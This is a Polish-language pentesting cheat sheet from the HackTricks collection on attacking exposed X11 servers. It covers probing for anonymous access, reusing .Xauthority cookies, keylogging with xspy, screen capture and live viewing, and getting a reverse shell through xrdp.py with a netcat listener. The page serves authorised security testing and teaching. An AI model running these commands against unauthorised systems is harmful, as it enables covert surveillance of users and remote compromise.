hacktricks/src/network-services-pentesting/6000-pentesting-x11.md

134 lines
4.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
{{#include ../banners/hacktricks-training.md}}
## Podstawowe informacje
**X Window System** (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia ramy do tworzenia graficznych **interfejsów użytkownika (GUI)**, przy czym poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowane doświadczenia w środowisku X.
**Domyślny port:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Enumeracja
Sprawdź **anonimowe połączenie:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Lokalne wyliczenie
Plik **`.Xauthority`** w katalogu domowym użytkownika jest **używany** przez **X11 do autoryzacji**. Z [**tutaj**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-magic-cookie-1: Generowanie 128-bitowego klucza (“ciasteczka”), przechowywanie go w \~/.Xauthority (lub tam, gdzie wskazuje zmienna środowiskowa XAUTHORITY). Klient wysyła go do serwera w postaci niezaszyfrowanej! Serwer sprawdza, czy ma kopię tego “ciasteczka” i jeśli tak, połączenie jest dozwolone. Klucz jest generowany przez DMX.
> [!WARNING]
> Aby **użyć ciasteczka**, powinieneś ustawić zmienną środowiskową: **`export XAUTHORITY=/path/to/.Xauthority`**
#### Sesja lokalnej enumeracji
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
W przykładzie `localhost:0` działał xfce4-session.
## Zweryfikuj połączenie
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) do podsłuchiwania naciśnięć klawiszy na klawiaturze.
Przykładowy wynik:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Zrzuty ekranu
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Zdalny widok pulpitu
Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Najpierw musimy znaleźć ID okna za pomocą xwininfo
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Aby uzyskać **na żywo podgląd**, musimy użyć
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Uzyskaj powłokę
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
**Reverse Shell:** Xrdp pozwala również na uzyskanie reverse shell za pomocą Netcat. Wpisz następujące polecenie:
```bash
./xrdp.py \<IP:0> no-disp
```
W interfejsie możesz zobaczyć opcję **R-shell**.
Następnie uruchom **Netcat listener** w swoim lokalnym systemie na porcie 5555.
```bash
nc -lvp 5555
```
Następnie wprowadź swój adres IP i port w opcji **R-Shell** i kliknij na **R-shell**, aby uzyskać powłokę
## References
- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
- [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
- [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
- `port:6000 x11`
{{#include ../banners/hacktricks-training.md}}